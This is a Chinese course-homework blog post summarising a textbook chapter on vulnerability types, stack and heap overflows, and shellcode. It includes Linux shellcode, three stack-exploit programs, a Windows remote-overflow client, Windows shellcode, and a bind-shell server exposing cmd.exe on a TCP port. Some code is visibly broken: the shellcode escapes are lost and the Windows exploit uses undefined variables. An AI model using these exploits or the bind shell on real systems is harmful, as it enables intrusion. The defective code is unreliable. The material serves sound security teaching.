作业课程: | https://edu.cnblogs.com/campus/besti/19attackdefense |
---|---|
作业要求: | https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10723 |
课程目标: | 学习《网络攻防技术与实践》教材第十章,并完成课后作业 |
本次作业实现目标: | 学习缓冲区溢出和shellcode |
作业正文:
1 知识点梳理
1.1 软件安全漏洞
安全漏洞:在系统安全流程、设计、实现或内部控制中所存在的缺陷或弱点,能够被攻击者所利用并导致安全侵害或对系统安全策略的违反。
安全漏洞三个基本元素:系统的脆弱性或缺陷、攻击者对缺陷的可访问性,以及攻击者对缺陷的可利用性。因此一个安全脆弱性或缺陷真正被称为安全漏洞,必须是攻击者具备至少一种攻击工具或技术能够访问和利用到这一缺陷。
软件安全困难三要素:
复杂性:源代码行数(LOC)是目前衡量软件规模的一个重要度量指标,如Windows Server 2003及2006年发行的客户端操作系统Vista的5千行,可以显著看出微软的Windows操作系统软件规模之大,复杂性之大,也就意味着软件的bug会越来越多,每千行代码(KLOC)中bug会在5-50个,即时是经过严格质量认证测试的系统仍然含有5个左右bug。
可扩展性:现代软件为了支持更加优化的软件架构,支持更好地客户使用感受,往往都会提供一些扩展和交互渠道,但是可扩展软件本身的特性使得安全保证更加困难,因为很多软件厂商往往会推出一个基本没有任何安全考虑的扩展机制,而且分析可扩展性软件的安全性往往比分析一个完全不能被更改的软件要难。
连通性:互联网的普及使得全球更多的软件系统连通在一起,高度的连通性使得一个小小的软件缺陷就可能影响非常大的范围,从而引起大规模的传播,如蠕虫大规模的传播,引起电话网故障,店里系统遭受攻击等。
软件安全漏洞类型:
主要分为以下四类:
内存安全违规类:内存安全违规类漏洞是在软件开发过程中在处理RAM (random access memory)内存访问时所引入的安全缺陷,如缓冲区溢出漏洞和Double Free、Use-after-Free等不安全指针问题等。内存安全违规类漏洞主要出现在C/C++ 等编程语言所编写的软件程序中,由于这类语言支持任意的内存分配与归还、任意的指针计算、转换,而这些操作通常没有进行保护确保内存安全,因而非常容易引入此类漏洞。而Java等更现代的编程语言则通过禁用指针计算与转换,实施内存垃圾跟踪与收集等机制,从而能够有效地解决此类安全漏洞。缓冲区溢出漏洞是一种最基础的内存安全问题。
输入验证类:输入验证类安全漏洞是指软件程序在对用户输入进行数据验证存在的错误,没有保证输入数据的正确性、合法性和安全性,从而导致可能被恶意攻击与利用。输入验证类安全漏洞根据输入位置、恶意输入内容被软件程序的使用方式的不同,又包含格式化字符串、SQL注入、代码注入、远程文件包含、目录遍历、XSS、HTTP Header注入、HTTP响应分割错误等多种安全漏洞技术形式。格式化字符串( Format string)漏洞是在C语言中的一些特定字符串处理函数,如printf(),涉及将未经过滤的用户输入作为这些丽数的格式字符串参数,而恶意用户可以使用%s、%x等格式化选项,来打印出内存某些地址中的数据内容。
竞争条件类:竞争条件类缺陷是系统或进程中一类比较特殊的错误,通常在涉及多进程或多线程处理的程序中出现,是指处理进程的输出或者结果无法预测,并依赖于其他进程事件发生的次序或时间时,所导致的错误。一类在软件中比较常见的竞争条件类漏洞是Time-of-check-to-time-of-use (TOCTTOU)类漏洞,当程序检查一个谓词条件(比如是否符合认证要求)之后,可以通过另一进程对谓词条件进行修改从而改变条件状态,使得检查时(time-of-check) 和使用时刻( time-of-use)的条件状态并不一致,这种情况下就可能产生可被攻击者利用的TOCTTOU类安全漏洞。符号链接竞争问题(symlink race)是另一种由于程序以不安全的方式创建文件所导致的竞争条件类漏洞,恶意用户可以创建一个符号链接,指向无权访问的文件,当存在漏洞的特权程序创建或写操作与符号链接同一名字的文件时,实际上将会对已存在文件进行修改,从而插入恶意用户所期望的一些内容。
权限混淆与提升类:权限混淆与提升类漏洞是指计算机程序由于自身编程疏忽或被第三方欺骗,从而滥用其权限,或赋予第三方不该给予的权限。权限混淆与提升类漏洞的具体技术形式主要有Web应用程序中的跨站请求伪造(Cross-Site Request Forgery,CSRF)、Clickjacking、FTP反弹攻击、权限提升、“越狱”(jailbreak) 等。FTP反弹攻击利用了FTP协议中的设计缺陷,攻击者能够绕过FTP服务器的权限限制,直接让FTP服务器作为中间代理,使用PORT命令向其他主机的端口请求访问,从而能够用于隐蔽的端口扫描。
1.2 缓冲区溢出基础概念
缓冲区溢出:是最早被发现也是最基础的软件安全漏洞技术类型之一,它是计算机程序中存在的一类内存安全违规类漏洞,在计算机程序向特定缓冲区内填充数据时,超出了缓冲区本身的容量,导致外溢数据覆盖了相邻内存空间的合法数据,从而改变程序执行流程破坏系统运行完整性。
缓冲区溢出漏洞通常多见于C/C++语言程序中的memcpy()、strcpy()等内存与字符串复制函数的引用位置,由于这些函数并不检查内存越界问题,而程序员一般也没有足够的安全编程意识、经验与技巧,对复制的目标缓冲区普遍没有进行严格的边界安全保护
,细究缓冲区溢出攻击发生的根本原因,可以认为是现代计算机系统的基础架构-冯●诺伊曼体系存在本质的安全缺陷,即采用了“存储程序”的原理,计算机程序的数据和指令都在同一内存中进行存储,而没有严格的分离。这一缺陷使得攻击者可以将输入的数据,通过利用缓冲区溢出漏洞,覆盖修改程序在内存空间中与数据区相邻存储的关键指令,从而达到使程序执行恶意注入指令的攻击目的。
编译器与调试器的使用:
C/C++
等高级编程语言编写的源码,需要通过编译器(Compiler)和连接器(Linker)才能生成可直接在操作系统平台上运行的可执行程序代码。而调试器(Debugger) 则是程序开发人员在运行时刻调试与分析程序行为的基本工具。
对于最常使用的C/C++
编程语言,最著名的编译与连接器是GCC
,开源的GNU Ansi C/C++
编译器,GCC最基本的用法是执行gcc -c test.c
命令进行源码编译,生成test.o
,然后执行gcc -o test test.o
进行连接,生成test
可执行程序,可以使用gcc test.c -o test
同时完成编译和连接过程。对于处理多个源码文件、包含头文件、引用库文件等多种情况,程序开发,人员通常编写或自动生成Makefile
,来控制GCC
的编译和连接过程。
类UNIX
平台上进行程序的调试经常使用GDB调试器
,如果需要在Linux
等类UNIX
平台,上分析程序安全漏洞、调试渗透攻击代码,GDB
是一个必须掌握的工具。GDB调试
器提供程序断点管理、执行控制、信息查看等多种类型的功能指令:在断点管理方面,通过break/clear
来设置和移除断点, enable/disable
来启用或禁用断点,watch
可设置监视表达式值改变时的程序中断:在执行控制方面,基本指令包括run
(运行程序)、attach
(调试已运行进程)、continue
(继续运行)、next
(单步代码执行并不进入函数调用)、nexti
(单步指令执行并不进入函数调用)、step
(单步代码并跟入函数调用)、stepi
(单步指令并跟入的数调用)等;在信息查看方面,比较常用的指令包括info
(查看各种信息)、backtrace
(显示调用栈)、x
(限制指定地址内容)、print
(显示表达式值)、list
(列出程序源码,需调试程序带符号编译)、disass
(反汇编指定函数)等。
汇编语言基础知识:
汇编语言,尤其是IA32 (Intel 32位)架构下的汇编语言,是理解软件安全漏洞机理,掌握软件渗透攻击代码技术的底层基础。
在IA32汇编语言中,首先我们需要熟悉常用的寄存器和它们对应的功能,如表所示。我们从应用的角度一般将寄存器分为4类,即通用寄存器、段寄存器、控制寄存器和其他寄存器。通用寄存器如eax、ebx、 ecx、 edx 等,主要用于普通的算术运算,保存数据、地址、偏移量、计数值等。我们需要特别注意通用寄存器中的“栈指针”寄存器esp,它在栈溢出攻击时是个关键的操纵对象。
段寄存器在IA32架构中是16位的,一般用作段基址寄存器。控制寄存器用来控制处:理器的执行流程,其中最关键的是eip, 也被称为“指令指针”,它保存了下一条即将执行的机器指令的地址,因而也成为各种攻击控制程序执行流程的关键攻击目标对象,而如何修改与改变将要被装载至eip寄存器的内存数据,以及修改为何地址,是包括缓冲区溢出在内渗透攻击的关键所在。其他寄存器中值得关注的是“扩展标志”eflags寄存器,由不同的标志位组成,用于保存指令执行后的状态和控制指令执行流程的标志信息。
寄存器名 | 说 明 | 功 能 |
---|---|---|
eax | 累加器 | 加法乘法指令的缺省寄存器,函数返回值 |
ecx | 计数器 | REP & LOOP指令的内定计数器 |
edx | 除法寄存器 | 存放整数除法产生的余数 |
ebx | 基址寄存器 | 在内存寻址时存放基地址 |
esp | 栈顶指针寄存器 | SS: ESP当前堆栈的栈顶指针 |
ebp | 栈底指针寄存器 | SS: EBP 当前堆栈的栈底指针 |
esi,dei | 源、目标索引寄存器 | 在字符串操作指令中,DS: ESI 指向源串ES: EDI 指向日标串 |
eip | 指令寄存器 | CS:EIP指向下一条指令的地址 |
eflags | 标志寄存器 | 标志寄存器 |
cs | 代码段寄存器 | 当前执行的代码段 |
ss | 堆栈寄存器 | stack segment,当前堆栈段 |
ds | 数据段寄存器 | data segment,当前数据段 |
在IA32架构汇编语言中,又分为Intel 和AT&T两种具有很多差异的汇编格式。在类UNIX平台下,通常使用AT&T汇编格式,而在DOS/Windows平台下,则主要使用Intel汇编格式。下表给出了几条关键汇编指令对应于Intel 和AT&T汇编格式的等价指令。关于Intel格式汇编指令的理解和编写,可参考《Intel 汇编语言程序设计》书籍,关于AT&T格式汇编指令,可参考在线文档《AT&T汇编语言格式》和《AT&T汇编语言与GCC内嵌汇编简介》。
关键汇编指令 | 等价指令(Intel汇编格式) | 等价指令(AT&T汇编格式) |
---|---|---|
PUSH | sub esp 0x4; mov [espl REG | sub S4, %esp; movl %REG (%esp) |
POP | mov REG [esp]; add esp 0x4 | movl (%esp), %REG; add $4, %esp |
JMP | mov eip addr | movl addr, %eip |
CALL | push eip; mov eip addr | pushl %eip; movl addr, %eip |
LEAVE | mov esp ebp; pop ebp | mov %ebp, %esp; popl %ebp |
RET | pop eip | popl %eip |
进程内存管理:
最主要的软件安全漏洞类型是内存安全违规类,缓冲区溢出也属于这一类型。而内存安全违规类漏洞的利用是对内存中敏感数据的“改写”或者“溢出”,因而了解进程内存管理机制是深入理解软件安全漏洞及攻击机理所必须掌握的内容之一。
Windows操作系统的进程内存空间布局则与Linux系统有着一些差异, 2GB-4GB 为内核态地址空间,用于映射Windows内核代码和一些核心态DLL,并用于存储一些内核态对象,0GB- 2GB为用户态地址空间,高地址段映射了一些大量应用进程所共同使用的系统DLL,如Kermel32.dll、User32.dll 等,在1GB地址位置用于装载一些应用进程本身所引用的DLL文件,可执行代码区间从0x000000开始,然后是静态内存空间用于保存全局变量与静态变量,“ 堆”同样是从低地址向高地址增长,用于存储动态数据,“栈”也是从高地址向低地址增长,在单线程进程中一般的“栈”底在0x0012XXXX的位置,而在多线程的进程内存空间中,则拥有多个“堆”和多个“栈”,分布来存储各个线程的执行数据。
函数调用过程:
栈结构与函数调用过程的底层细节是理解栈溢出攻击的重要基础,因为栈溢出攻击就是针对函数调用过程中返回地址在栈中的存储位置,进行缓冲区溢出,从而改写返回地址,达到让处理器指令寄存器跳转至攻击者指定位置执行恶意代码的目的。
栈是一种最基本的LIFO后进先出抽象数据结构,主要被用于实现程序中的函数或过程调用,在栈中会保存函数的调用参数、返回地址、调用者栈基址、函数本地局部变量等数据,其中最为关键的就是返回地址,即函数调用结束之后执行的下一条指令地址,因为它将会被装载至eip指令寄存器中,并跳转至该地址执行后续的指令代码。由于返回地址在可读写的栈中保存,同时与其他攻击者可以操纵的本地局部变量缓冲区相邻,就为攻击者利用缓冲区未进行严格边界检查的安全漏洞,实施栈溢出攻击提供了条件。在IA32架构寄存器中,两个与栈密切相关的寄存器为ebp和esp,分别保存当前运行函数的栈底地址和栈顶地址,而两个密切相关的指令为push和pop,分别是将数据压入栈,及将栈项数据弹出至特定寄存器。
程序进行函数调用的过程:
包括下面三个步骤:
- 1.调用(call):调用者将函数调用参数、函数调用下一条指令的返回地址压栈,并跳转至被调用函数入口地址。
- 2.序言(prologue): 被调用函数开始执行首先会进入序言阶段,将对调用函数的栈基址进行压栈保存,并创建自身函数的栈结构,具体包括将ebp寄存器赋值为当前栈基址,为本地函数局部变量分配栈地址空间,更新esp寄存器为当前栈顶指针等。
- 3.返回(return): 被调用函数执行完功能将指令控制权返回给调用者之前,会进行返回阶段的操作,通常执行leave和ret指令,即恢复调用者的栈顶与栈底指针,并将之前压栈的返回地址装载至指令寄存器eip中,继续执行调用者在函数调用之后的下一条指令。
实例代码:
#include <stdio.h>
int func(int a, int b){
int retVal = a+ b;
printf("b: 0x%08x
",&b);
printf("a: 0x%08x
",&a);
printf("ret addr here: 0x%08x
",&a-1);
printf("stored ebp here: 0x%08x
",&a-2);
printf("retVal: 0x%08x
", &retVal);
return retVal;
}
int main(int argc, char* argv[])
{
int result = func(1, 2);
return 0;
}
main函数反汇编代码中进行了func函数调用,对调用参数进行压栈,并通过Call指令在保存返回地址后,跳转至func函数进行执行;在func函数的反汇编代码中的前3条指令为序言阶段,构建其栈结构,在完成函数功能即对参数求和之后,最后两条指令为返回阶段,恢复main函数的堆栈,并返回其下一条指令继续运行。
缓冲区溢出攻击原理:缓冲区溢出漏洞根据缓冲区在进程内存空间中的位置不同,又分为栈溢出
、堆溢出
和内核溢出
这三种具体技术形态。
栈溢出
是指存储在栈上的一些缓冲区变量由于存在缺乏边界保护问题,能够被溢出并修改栈上的敏感信息(通常是返回地址),从而导致程序流程的改变。
堆溢出
则是存储在堆上的缓冲区变量缺乏边界保护所遭受溢出攻击的安全问题。
内核溢出
漏洞存在于一些内核模块或程序中,是由于进程内存空间内核态中存储的缓冲区变量被溢出造成的。其中栈溢出在各类缓冲区溢出漏洞中是最容易理解,也是最早被发现和利用的技术形态。
实例代码:
#include <stdio.h>
void return_input(void){
char array[30];
gets(array);
printf("%s/n",array);
}
int main(void)
{
return_input();
return 0;
}
代码分析:以上代码的return_input()
函数中定义了一个局部变量array
,为30字节长度的字符串缓冲区,函数局部变量将被存储在栈上,并位于main
函数调用时压栈的下一条指令返回地址之下,而在return_input()
函数中执行gets
函数将用户终端输入至array
缓冲区时,没有进行缓冲区边界检查和保护,因此如果用户输入超出30字节的字符串时,输入数据将会溢出array
缓冲区,从而覆盖array
缓冲区上方的EBP
(栈底指针寄存器)和RET
(子程序的返回指令), 一旦覆盖了RET
返回地址之后,在return_input()
函数执行完毕返回main
函数时,EIP
寄存器将会装载栈中RET
位置保存的值,此时该位置已经被溢出改写为"AAAA" (即0x41414141), 而该地址可能是进程无法读取的空间,如果错误则会造成程序的段错误("Segmentation fault")。
被溢出后的栈结构:
缓冲区溢出安全漏洞的根本问题在于用户输入可控制的缓冲区操作缺乏对目标缓冲区的边界安全保护,攻击者会精心构造缓冲区溢出攻击,主要包括找到缓冲区溢出要覆盖和修改的敏感位置,将敏感位置修改为合适的值来进行特定目的攻击,需要执行payload攻击代码,通常会为攻击者给出一个远程sell访问,因此也称为Shellcode。
这里我从网上找了一段汇编代码:
.section .text #申明从这里开始一个段,名字叫.text
.global _start #声明_start是全局符号
_start: #声明符号_start
jmp str #跳转到符号str处执行
entry_point: #声明局部符号entry_point
pop %rcx #取出栈顶元素写入rcx寄存器
xor %edx, %edx #rdx寄存器清0 (x86-64调用规约,第3个参数通过rdx传递)
xor %rsi, %rsi #rsi寄存器清0 (第2个参数通过rsi传递)
mov %rcx, %rdi #rcx寄存器的值写入rdi寄存器 (第1个参数通过rdi传递)
add $59, %rax #向rax寄存器写入十进制数字59 (系统调用号通过rax传递)
syscall #发起系统调用请求,陷入内核
str: #声明局部符号str
call entry_point #跳转到符号entry_point处执行
.ascii "/bin/sh" #声明一段使用ASCII字符的文本字符串
代码分析:该代码作用是实现动态获取字符串/bin/sh
的地址,这里主要通过call
指令来执行,因为字符串/bin/sh
被放在了call
指令的后面,执行call
指令时,该字符串的地址会被压栈,跳到entry_point
后,通过pop
指令,即可取到字符串/bin/sh
的地址,免去了地址硬编码带来的麻烦。保存代码生成shellcode.asm
,汇编并链接程序:as -o shellcode.o shellcode.asm
,ld -o shellcode shellcode.o
,然后运行可以成功打开一个shell:
1.3 Linux平台上的栈溢出与shellcode
Linux平台栈溢出攻击按照攻击数据的构造方式不同,主要有NSR
、RNS
和RS
三种模式。
NSR模式:NSR模式主要适用于被溢出的缓冲区变量比较大,足以容纳Shellcode的情况,其攻击数据从低地址到高地址的构造方式是一堆Nop指令
(即空操作指令)之后填充Shelleode
,再加上一些期望覆盖RET返回地址的跳转地址,从而构成了NSR
攻击数据缓冲区,通过将这个攻击缓冲区作为vulnerablel.c
漏洞程序输入,复制至其局部变量buf
时,将溢出并改写main
函数的返回地址,从而使得程序执行流程跳转至Nop指令
所填充出来的“着陆区”中,无论跳转至哪个Nop指令
上,程序都会继续执行,并最终运行Shellcode
,向攻击者给出Shell
。
vulnerable1.c
#include<stdio.h>
int main(int argc,char **argv){
char buf[500];
strcpy(buf,argv[1]);
printf("buf's 0x%8x
",&buf);
getchar();
return 0;
}
stackexploit1.c
#include<stdlib.h>
#include<string.h>
char shellcode[]=
// setreuid(0,0);
"x31xc0" // xor %eax,%eax
"x31xdb" // xor %ebx,%ebx
"x31xc9" // xor %ecx,%ecx
"xb0x46" // mov $0x46,%al
"xcdx80" // int $0x80
// execve /bin/sh
"x31xc0" // xor %eax,%eax
"x50" // push %eax
"x68x2fx2fx73x68" // push $0x68732f2f
"x68x2fx62x69x6e" // push $0x6e69622f
"x89xe3" // mov %esp,%ebx
"x8dx54x24x08" // lea 0x8(%esp,1),%edx
"x50" // push %eax
"x53" // push %ebx
"x8dx0cx24" // lea (%esp,1),%ecx
"xb0x0b" // mov $0xb,%al
"xcdx80" // int $0x80
// exit();
"x31xc0" // xor %eax,%eax
"xb0x01" // mov $0x1,%al
"xcdx80"; // int $0x80
unsigned long get_esp(){
__asm__("movl %esp,%eax");
}
int main(int argc,char *argv[]){
char buf[530];
char* p; p=buf;
int i; unsigned long ret;
int offset=0;
/* offset=400 will success */
if(argc>1) offset=atoi(argv[1]);
ret=get_esp()-offset;
memset(buf,0x90,sizeof(buf)); #把整个BUF填满NOPS
memcpy(buf+524,(char*)&ret,4); #把EIP用我们的RET覆盖,让程序跳转到NOPS里面
memcpy(buf+i+100,shellcode,strlen(shellcode)); #从BUF[100]开始填充SHELLCODE,前面和后面都是NOPS 当然可以增大NOPS的数目
printf("ret is at 0x%8x
esp is at 0x%8x
",
ret,get_esp());
execl("./vulnerable1","vulnerable1",buf,NULL); #执行漏洞程序
return 0;
}
RNS模式:第二种栈溢出的模式为RNS
模式,一般用于被溢出的变量比较小,不足于容纳Shellcode
的情况,攻击数据从低地址到高地址的构造方式是首先填充一些期望覆盖RET
返回地址的跳转地址,然后是一堆Nop
指令填充出“着陆区”,最后再是Shellcode
。在溢出攻击之后,攻击数据将在RET
区段即溢出了目标漏洞程序的小缓冲区,并覆盖了栈中的返回地址,然后跳转至Nop
指令所构成的“着陆区”,并最终执行Shellcode
。
vulnerable2.c
#include<stdio.h>
int main(int argc,char **argv){
char buf[10];
strcpy(buf,argv[1]);
printf("buf's 0x%8x
",&buf);
getchar();
return 0;
}
stackexploit2.c
#这里显示与上面有区别的main函数部分
int main(int argc,char **argv){
char buf[500]; #分配一个500BYTES的大BUF,用于我们的构造把整个BUFFER填满NOPS
unsigned long ret,p;
int i;
p=&buf;
ret=p+70;
memset(buf,0x90,sizeof(buf)); #用前44BYTES填满RET
for(i=0;i<44;i+=4)
*(long *)&buf[i]=ret;
memcpy(buf+400+i,shellcode,strlen(shellcode)); #把SHELLCODE复制到合适的位置
execl("./vulnerable2","vulnerable2",buf,NULL); #执行漏洞程序
return 0;
}
RS模式:第三种Linux平台,上的栈溢出攻击模式是RS模式,在这种模式下能够精确地定位出Shellcode在目标漏洞程序进程空间中的起始地址,因此也就无须引入Nop空指令构建“着陆区”。这种模式是将Shellcode放置在目标漏洞程序执行时的环境变量中,由于环境变量是位于Linux进程空间的栈底位置,因而不会受到各种变量内存分配与对齐因素的影响,其位置是固定的,可以通过如下公式进行计算:ret = 0xc0000000 - sizeof(void *) - sizeof(FILENAME) - sizeof(Shellcode)
vulnerable3.c与RNS中的vulnerable2.c相同。
stackexploit3.c
#这里给出不同的main函数部分
int main(int argc,char **argv){
char buf[32];
char *p[]={"./vulnerable2",buf,NULL};
char *env[]={"HOME=/root",shellcode,NULL}; #把SHELLCODE放入将要执行的环境变量中
unsigned long ret;
ret=0xc0000000-strlen(shellcode)-strlen("./vulnerable2")-sizeof(void *);
memset(buf,0x41,sizeof(buf)); #把整个BUF用A填满
memcpy(&buf[28],&ret,4); #计算RET的值,并覆盖EIP
printf("ret is at 0x%8x
",ret);
execve("./vulnerable2", "/vulnerable2", buf, env); #执行漏洞程序
return 0;
}
Linux平台远程栈溢出
攻击原理与本地栈溢出是一样的,区别在于用户输入传递的途径不同,以及shellcode
的编写方式不同。本地栈溢出攻击中的Shellcode
主要会包含提升至较当前运行用户权限更高的权限,并给出本地Shell
访问;而远程栈溢出攻击的Shellcode
则需要将Shell
访问与网络连接起来,给出一个远程的Shell
访问。
Shellcode
是一段机器指令,对于我们通常接触的IA32
架构平台,Shellcode
就是符合Intel32
位指令规范的一串CPU
指令,被用于溢出之后改变系统正常流程,转而执行Shellcode
以完成渗透测试者的攻击目的。通常提供一个访问系统的本地或远程命令行访问。
Linux本地Shellcode实现机制
Linux系统本地Shellcode通常提供的功能就是为攻击者启动一个命令行Shell。一般通过execve()函数启动/bin/sh提供命令行。
本地产生Shellcode的过程:
- ①先用高级编程语言,通常用C,来编写Shellcode程序;
- ②编译并反汇编调试这个Shellcode程序:
- ③从汇编语言代码级别分析程序执行流程;
- ④整理生成的汇编代码,尽量减小它的体积并使它可注入,并可通过嵌入C语言进行运行测试和调试;
- ⑤提取汇编代码所对应的opcode二进制指令,创建Shellcode指令数组。
Linux远程Shellcode实现机制
远程Shellcode的实现原理与本地Shellcodes完全一致,也是通过一系列的系统调用俩完成指令的功能。步骤也是通过给出高级语言的功能代码,然后通过反汇编吊事编译后的二进制程序,提取、优化和整理所获得的汇编代码,最终产生opcode二进制指令代码。
1.4 Windows平台栈溢出攻击技术
Windows操作系统与Linux操作系统实现机制的不同
差异点 | Windows | Linux |
---|---|---|
对程序运行过程中废弃栈的处理方式差异 | 向废弃栈中写入一些随机的数据 | 不做任何处理 |
进程内存空间的布局差异 | 栈的位置处于0x00FFFFFF以下的用户内存空间,一般为0x0012****地址附近,而这些内存地址的首字节均为0x00 空字节 | 栈底指针在0xc0000000之下,一般栈中变量位置都在Oxbfff****地址附近,且这些地址中没有空字节 |
系统功能调用的实现方式差异 | 通过操作系统中更为复杂的API及内核处理例程调用链来完成系统功能调用,对应用程序直接可见的是应用层中如Kernel32.dII、User32.dl等系统动态链接库中导出的一些系统API接口函数 | 通过“int80”中断处理来调用系统功能 |
Windows远程栈攻击
这里给出一个漏洞代码,主要通过Windows Socket机制创建一个服务器端Socket,在TCP 3764端口监听,在接收客户端连接之后,把客户端输入的字符串统计接收字节数,并进行回显,但在调用overflow()函数中接收字符串复制至本地局部变量s1缓冲区,没有进行边界保护,因此存在着栈溢出安全漏洞。
#include <winsock2.h>
#include <stdio.h>
#progma comment(lib,"ws2_32")
char Buff[1024];
void overflow(char * s, int size)
{
char s1[50];
printf("receive %d bytes",size);
s[size]=0;
strcpy(s1,s);
}
int main()
{
WSADATA wsa;
SOCKET sockFD;
char Buff[1024],*sBO;
WSAStartup(MAKEWORD(2,2),&wsa);
sockFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(3764);
server.sin_addr.s_addr=inet_addr("127.0.0.1");
connect(sockFD,(struct sockaddr *)&server,sizeof(server));
for(int i=0;i<56;Buff[i++]=0x90);
strcpy(Buff+56,(char *)eip);
strcpy(Buff+60,(char *)sploit);
sBO = Buff;
send(sockFD,sBO,56+4+560,0);
closesocket(sockFD);
WSACleanup();
return 1;
}
该代码是一个远程渗透攻击程序,攻击过程:
- 1.首先创建一一个客户端socket,并连接目标漏洞服务程序所监听的IP地址与端口;
- 2.然后精心组装一个用于溢出目标程序缓冲区的攻击数据,攻击数据缓冲区Buff是一个1024字节长度的字符数组,填充了一段Nop指令;
- 3.最后在事先计算好的返回地址位置上放置了一个指向“JMP ESP"指令的地址,该指令地址在不同的目标程序运行系统上是不一样的,由攻击者通过在各个系统环境中调试获得。
野外Windows栈溢出
针对真实的漏洞服务实施远程栈溢出攻击的野外代码在互联网上也随处可得,在Exploit-db
、Milw0rm
、Packetstorm
等渗透攻击代码共享网站上,这些程序都是针对一个特定的安全漏洞实施攻击,并需要配置目标操作系统的类型与版本,程序执行的过程关键是组装出包含填充数据、指令跳转地址和Shellcode
的攻击数据,然后通过网络协议交互将攻击数据注入至目标程序的漏洞利用点上,实施溢出攻击,控制目标程序流程,转而执行攻击者注入的Shellcode
。
Windows本地Shellcode
编写shellcode
最简单的方式是使用硬编码的函数地址,比如system()
函数在Windows XP
特定版本的目标程序内存空间加载地址为0x77bf93c7
,我们在shellcode
中可以使用Call 0x77bf93c7
指令来让EIP
指令寄存器跳转至硬编码的函数入口地址执行,这种方法可以有效压缩编码长度。
这里给出C语言版的Windows
本地Shellcode
程序,即使用LoadLibrary()
函数加载msvert.dll
动态链接库,通过GetProcAddress()
函数获得system
函数的加载入口地址,赋值给ProcAdd
函数指针,然后通过函数指针调用system()
函数,启动命令行Shell
,最后还要调用exit()
退出当前进程:
#include <windows.h>
#include <winbase.h>
typedef void (*MYPROC)(LPTSTR);
typedef void (*MYPROC2)(int);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
MYPROC2 ProcAdd2;
char dllbuf[11] = "msvcrt.dll";
char sysbuf[7] = "system";
char cmdbuf[16] = "command.com";
char sysbuf2[5] = "exit";
LibHandle = LoadLibrary(dllbuf);
ProcAdd = (MYPROC)GetProcAddress(
LibHandle, sysbuf);
(ProcAdd) (cmdbuf);
ProcAdd2 = (MYPROC2) GetProcAddress(
LibHandle, sysbuf2);
(ProcAdd2)(0);
}
然后把上述代码转化为汇编语言,查询相关指令表,可以转化为Opcode硬编码的shellcode:
mov esp,ebp
push ebp
mov ebp,esp
xor edi,edi
push edi
sub esp,08h
mov byte ptr [ebp-0ch],63h
mov byte ptr [ebp-0bh],6fh
mov byte ptr [ebp-0ah],6dh
mov byte ptr [ebp-09h],6Dh
mov byte ptr [ebp-08h],61h
mov byte ptr [ebp-07h],6eh
mov byte ptr [ebp-06h],64h
mov byte ptr [ebp-05h],2Eh
mov byte ptr [ebp-04h],63h
mov byte ptr [ebp-03h],6fh
mov byte ptr [ebp-02h],6dh
lea eax,[ebp-0ch]
push eax
mov eax, 0x77bf8044
call eax
Windows远程Shellcode
下面这段代码是用来建立一个Tcp Server
的,我们先申请一个socketfd
,使用53764
作为这个socket
连接的端口,然后ping
操作在这个端口上等待连接listen
。程序阻塞在accept
函数直到有client
连接上来。创建两个匿名管道。hReadPipe
只能用来读管道,hWritePipe1
只能用来写管道。然后创建了一个shell(cmd.exe)
,并且把cmd.exe
的标准输入用第二个管道的读句柄替换。cmd.exe
的标准输出和标准错误输出用第一个管道的写句柄替换。最后完成了客户输入和shell
的交互。PeekNamedPipe
用来异步的查询管道一,看看shell
是否有输出。如果有就readfile
读出来,并发送给客户。如果没有,就去接受客户的输入。并writefile
写入管道传递给shell
。
#include <winsock2.h>
#include <stdio.h>
int main()
{
WSADATA wsa;
SOCKET listenFD;
char Buff[1024];
int ret;
WSAStartup(MAKEWORD(2,2),&wsa);
listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(53764);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
SECURITY_ATTRIBUTES sa;
sa.nLength=12;sa.lpSecurityDescriptor=0;sa.bInheritHandle=true;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
unsigned long lBytesRead;
while(1) {
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead) {
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}else {
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
}
}
return 0;
}
1.5 堆溢出攻击
堆溢出( Heap Overflow)是缓冲区溢出中第二种类型的攻击方式,在程序运行时,除了保存局部变量、函数返回地址等信息的栈之外,还有其他一些可写的内存数据区域。一个典型的Linux
程序在其进程内存空间中通常有如下一些数据区:包含已初始化全局数据的.data
段、包含未经初始化数据的.bss
段、运行时刻动态分配内存的数据区heap
等。而这些内存数据区有着共同的特点,即数据分配与增长方向是从低地址向高地址,而非栈从高地址向低地址的增长方向。因此,在.data
、.bss
和heap
中缓冲区溢出的情形,都被称为堆溢出。
函数指针改写
堆溢出进行函数指针改写攻击需要被溢出的缓冲区临近全局函数指针存储地址,且在其低地址方向。在符合这种变量布局的条件下,当向缓冲区填充数据时,如果没有边界判断和控制的话,那么缓冲区溢出之后就会自然地覆盖函数指针所在的内存区,从而改写函数指针的指向地址,攻击者只要能够将该函数指针指向恶意构造的Shellcode入口地址,在程序使用函数指针调用原先期望的函数时,就会转而执行Shellcode
。
假设buffer
区缺乏保护安全便捷的缓冲区,在它响铃的高地址方向有一个函数指针funcptr
,攻击者通过strncpy()
